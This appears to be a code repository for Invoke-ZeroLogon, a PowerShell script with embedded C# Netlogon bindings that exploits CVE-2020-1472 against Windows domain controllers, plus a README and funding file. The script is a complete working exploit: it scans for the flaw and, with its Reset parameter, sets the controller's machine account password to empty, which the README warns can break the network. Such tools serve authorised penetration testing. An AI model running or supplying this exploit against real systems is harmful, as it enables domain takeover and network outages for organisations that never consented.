[
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: [bc-security]\n"
  },
  {
    "path": "Invoke-ZeroLogon.ps1",
    "content": "﻿function Invoke-Zerologon{\r\n<#\r\n.SYNOPSIS\r\n\r\nThis script can be run in two modes currently.\r\n1. When the reset parameter is set to True, the script will attempt to reset the target computer’s password to the default NTLM hash (essentially an empty password).\r\n2. By default, reset is set to false and will simply scan if the target computer is vulnerable to the ZeroLogon exploit (CVE-2020-1472).\r\nWARNING: Resetting the password of a Domain Controller is likely to break the network. DO NOT use the reset parameter against a production system unless you fully understand the risks and have explicit permission.\r\n\r\n\r\n\r\nThis code was heavily adapted from the C# implementation by the NCC Group's Full Spectrum Attack Simulation team\r\nhttps://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon\r\n\r\nThe original CVE was published by Secura\r\nhttps://www.secura.com/blog/zero-logon\r\n\r\nAuthor: Hubbl3, Twitter: @Hubbl3\r\nLicense: BSD 3-Clause\r\nRequired Dependencies: None\r\nOptional Dependencies: None\r\nVersion: .1\r\n\r\n.Parameter FQDN\r\nProvide the fully qualified domain name\r\n\r\n.Parameter Reset\r\nBoolean used to determine if the script should attempt to reset the target computer's password\r\n\r\n#>\r\n[CmdletBinding()]\r\nParam(\r\n    [Parameter(Position = 1, Mandatory = $true)]\r\n    [string]\r\n    $fqdn,\r\n\r\n    [Parameter(Position = 2)]\r\n    [boolean]\r\n    $Reset\r\n )\r\n\r\n    $zerologon = @\"\r\n    using System;\r\n    using System.Runtime.InteropServices;\r\n\r\n    namespace ZeroLogon\r\n    {\r\n        public class Netapi32\r\n        {\r\n            public enum NETLOGON_SECURE_CHANNEL_TYPE : int\r\n            {\r\n                NullSecureChannel = 0,\r\n                MsvApSecureChannel = 1,\r\n                WorkstationSecureChannel = 2,\r\n                TrustedDnsDomainSecureChannel = 3,\r\n                TrustedDomainSecureChannel = 4,\r\n                UasServerSecureChannel = 5,\r\n                ServerSecureChannel = 6\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Explicit, Size = 516)]\r\n            public struct NL_TRUST_PASSWORD\r\n            {\r\n                [FieldOffset(0)]\r\n                public ushort Buffer;\r\n\r\n                [FieldOffset(512)]\r\n                public uint Length;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Explicit, Size = 12)]\r\n            public struct NETLOGON_AUTHENTICATOR\r\n            {\r\n                [FieldOffset(0)]\r\n                public NETLOGON_CREDENTIAL Credential;\r\n\r\n                [FieldOffset(8)]\r\n                public uint Timestamp;\r\n            }\r\n\r\n            [StructLayout(LayoutKind.Sequential)]\r\n            public struct NETLOGON_CREDENTIAL\r\n            {\r\n                public sbyte data;\r\n            }\r\n\r\n            [DllImport(\"netapi32.dll\", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode)]\r\n            public static extern int I_NetServerReqChallenge(\r\n                string PrimaryName,\r\n                string ComputerName,\r\n                ref NETLOGON_CREDENTIAL ClientChallenge,\r\n                ref NETLOGON_CREDENTIAL ServerChallenge\r\n                );\r\n\r\n            [DllImport(\"netapi32.dll\", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode)]\r\n            public static extern int I_NetServerAuthenticate2(\r\n                string PrimaryName,\r\n                string AccountName,\r\n                NETLOGON_SECURE_CHANNEL_TYPE AccountType,\r\n                string ComputerName,\r\n                ref NETLOGON_CREDENTIAL ClientCredential,\r\n                ref NETLOGON_CREDENTIAL ServerCredential,\r\n                ref ulong NegotiateFlags\r\n                );\r\n\r\n            [DllImport(\"netapi32.dll\", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode)]\r\n            public static extern int I_NetServerPasswordSet2(\r\n                string PrimaryName,\r\n                string AccountName,\r\n                NETLOGON_SECURE_CHANNEL_TYPE AccountType,\r\n                string ComputerName,\r\n                ref NETLOGON_AUTHENTICATOR Authenticator,\r\n                out NETLOGON_AUTHENTICATOR ReturnAuthenticator,\r\n                ref NL_TRUST_PASSWORD ClearNewPassword\r\n                );\r\n        }\r\n\r\n        public class Kernel32\r\n        {\r\n            [DllImport(\"kernel32\", SetLastError = true, CharSet = CharSet.Unicode)]\r\n            public static extern IntPtr LoadLibrary(string lpFileName);\r\n\r\n            [DllImport(\"kernel32.dll\", SetLastError = true)]\r\n            public static extern bool VirtualProtect(\r\n               IntPtr lpAddress,\r\n               uint dwSize,\r\n               uint flNewProtect,\r\n               out uint lpflOldProtect\r\n            );\r\n\r\n            [DllImport(\"kernel32.dll\")]\r\n            public static extern bool ReadProcessMemory(IntPtr hProcess, long lpBaseAddress, byte[] lpBuffer, uint dwSize, ref int lpNumberOfBytesRead);\r\n\r\n            public struct MODULEINFO\r\n            {\r\n                public IntPtr lpBaseOfDll;\r\n                public uint SizeOfImage;\r\n                public IntPtr EntryPoint;\r\n            }\r\n            [DllImport(\"kernel32.dll\", SetLastError = true)]\r\n            public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);\r\n            \r\n            [DllImport(\"psapi.dll\", SetLastError = true)]\r\n            public static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MODULEINFO lpmodinfo, uint cb);\r\n        }\r\n    }\r\n\"@;\r\n\r\n\r\n    Add-Type $zerologon\r\n\r\n    $hostname = $fqdn.split(\".\")[0]\r\n \r\n    $ClientChallenge = New-Object ZeroLogon.Netapi32+NETLOGON_CREDENTIAL\r\n    $ServerChallenge = New-Object ZeroLogon.Netapi32+NETLOGON_CREDENTIAL\r\n    [Uint64]$Flags = [Uint64]0x212fffff \r\n\r\n    for( $i = 0; $i -lt 2000; $i ++){\r\n        if([ZeroLogon.Netapi32]::I_NetServerReqChallenge($fqdn, $hostname, [Ref] $ClientChallenge, [Ref] $ServerChallenge) -ne 0){\r\n             Write-Host \"Can't complete server challenge. check FQDN\" \r\n             return;\r\n             }\r\n        write-host \"=\" -NoNewline\r\n        if([ZeroLogon.Netapi32]::I_NetServerAuthenticate2($fqdn, $hostname+\"$\",[ZeroLogon.Netapi32+NETLOGON_SECURE_CHANNEL_TYPE]::ServerSecureChannel.value__, $hostname, [Ref] $ClientChallenge, [ref] $ServerChallenge, [ref] $Flags) -eq 0){\r\n            Write-Host \"`nServer is vulnerable\";\r\n            \r\n            $authenticator = New-Object ZeroLogon.Netapi32+NETLOGON_AUTHENTICATOR;\r\n            $EmptyPassword = New-Object ZeroLogon.Netapi32+NL_TRUST_PASSWORD;\r\n            if ($reset){\r\n\r\n                if([ZeroLogon.Netapi32]::I_NetServerPasswordSet2($fqdn, $hostname+\"$\", [ZeroLogon.Netapi32+NETLOGON_SECURE_CHANNEL_TYPE]::ServerSecureChannel.value__, $hostname, [ref] $authenticator, [ref] $authenticator, [ref] $EmptyPassword) -eq 0){\r\n                    Write-Host \"password set to NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0\";\r\n                    return;\r\n                    }\r\n                write-Host \"Failed to reset password\"\r\n                return;\r\n            }\r\n\r\n            return;\r\n        }\r\n    }\r\n    Write-Host \"Host appears to be patched\";\r\n\r\n\r\n}"
  },
  {
    "path": "README.md",
    "content": "# Invoke-ZeroLogon\nThis code was heavily adapted from the C# implementation by the [NCC Group's Full Spectrum Attack Simulation team](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon) and the original CVE published by [Secura](https://www.secura.com/blog/zero-logon).\nThis script can be run in two modes: \n1.\tWhen the reset parameter is set to True, the script will attempt to reset the target computer’s password to the default NTLM hash (essentially an empty password).\n2.\tBy default, reset is set to False and will simply scan if the target computer is vulnerable to the ZeroLogon exploit (CVE-2020-1472).\n\n__WARNING:__ Resetting the password of a Domain Controller is likely to break the network. __DO NOT__ use the reset parameter against a production system unless you fully understand the risks and have explicit permission.\n"
  }
]